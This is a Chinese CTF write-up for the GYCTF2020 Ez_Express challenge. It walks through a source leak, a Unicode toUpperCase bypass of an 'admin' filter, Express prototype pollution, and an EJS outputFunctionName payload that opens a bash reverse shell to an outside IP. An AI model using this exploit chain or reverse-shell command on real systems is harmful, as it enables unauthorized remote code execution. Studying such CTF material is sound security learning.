[GYCTF2020]Ez_Express

前言

废物的我 区块链也被虐惨了。。。感觉这个区块链tm的就是低配版的pwn,这几天也比较浮躁,没法专心下去去研究区块链,就来重回web,做几道题放松一下。

WP

进入是个登录,随便注册一下,必须要ADMIN才可以。f12看一下,发现存在www.zip泄露,把源码下载下来审计一下,把几个js文件大致扫一下,发现用了ejs,心中一喜。。。再看看index.js:

var express = require('express');
var router = express.Router();
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
     
  for (var attr in b) {
     
    if (isObject(a[attr]) && isObject(b[attr])) {
     
      merge(a[attr], b[attr]);
    } else {
     
      a[attr] = b[attr];
    }
  }
  return a
}
const clone = (a) => {
     
  return merge({
     }, a);
}
function safeKeyword(keyword) {
     
  if(keyword.match(/(admin)/is)) {
     
      return keyword
  }

  return undefined
}

router.get('/', function (req, res) {
     
  if(!req.session.user){
     
    res.redirect('/login');
  }
  res.outputFunctionName=undefined;
  res.render('index',data={
     'user':req.session.user.user});
});


router.get('/login', function (req, res) {
     
  res.render('login');
});



router.post('/login', function (req, res) {
     
  if(req.body.Submit=="register"){
     
   if(safeKeyword(req.body.userid)){
     
    res.end("") 
   }
    req.session.user={
     
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }
    res.redirect('/'); 
  }
  else if(req.body.Submit=="login"){
     
    if(!req.session.user){
     res.end("")}
    if(req.session.user.user==req.body.userid&&req.body.pwd==req.session.user.passwd){
     
      req.session.user.isLogin=true;
    }
    else{
     
      res.end("")
    }
  
  }
  res.redirect('/'); ;
});
router.post('/action', function (req, res) {
     
  if(req.session.user.user!="ADMIN"){
     res.end("")} 
  req.session.user.data = clone(req.body);
  res.end("");  
});
router.get('/info', function (req, res) {
     
  res.render('index',data={
     'user':res.outputFunctionName});
})
module.exports = router;

这里对admin进行了正则的过滤:

function safeKeyword(keyword) {
     
  if(keyword.match(/(admin)/is)) {
     
      return keyword
  }

但是发现这里给注册的用户名转了大写,用的toUpperCase():

router.post('/login', function (req, res) {
     
  if(req.body.Submit=="register"){
     
   if(safeKeyword(req.body.userid)){
     
    res.end("") 
   }
    req.session.user={
     
      'user':req.body.userid.toUpperCase(),
      'passwd': req.body.pwd,
      'isLogin':false
    }

想到了这个函数的一个绕过:

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
在Character.toLowerCase()函数中,字符İ会转变为i,字符K会转变为k。

因此用ı来绕过,admın即可成功成为ADMIN。
然后就是这个/action了:

router.post('/action', function (req, res) {
     
  if(req.session.user.user!="ADMIN"){
     res.end("")} 
  req.session.user.data = clone(req.body);
  res.end("");  
});

很明显的原型链污染,再发现下面还有个/info:

router.get('/info', function (req, res) {
     
  res.render('index',data={
     'user':res.outputFunctionName});
})

是outputFunctionName,提示的太明显了,ejs的那个EXP直接打:

{
     "__proto__":{
     "outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/118.31.168.198/39543 0>&1\"');var __tmp2"}}

先访问/action进行原型链污染,再访问/info进行模板渲染,实现RCE:
[GYCTF2020]Ez_Express_第1张图片

你可能感兴趣的:(node.js,js,node.js)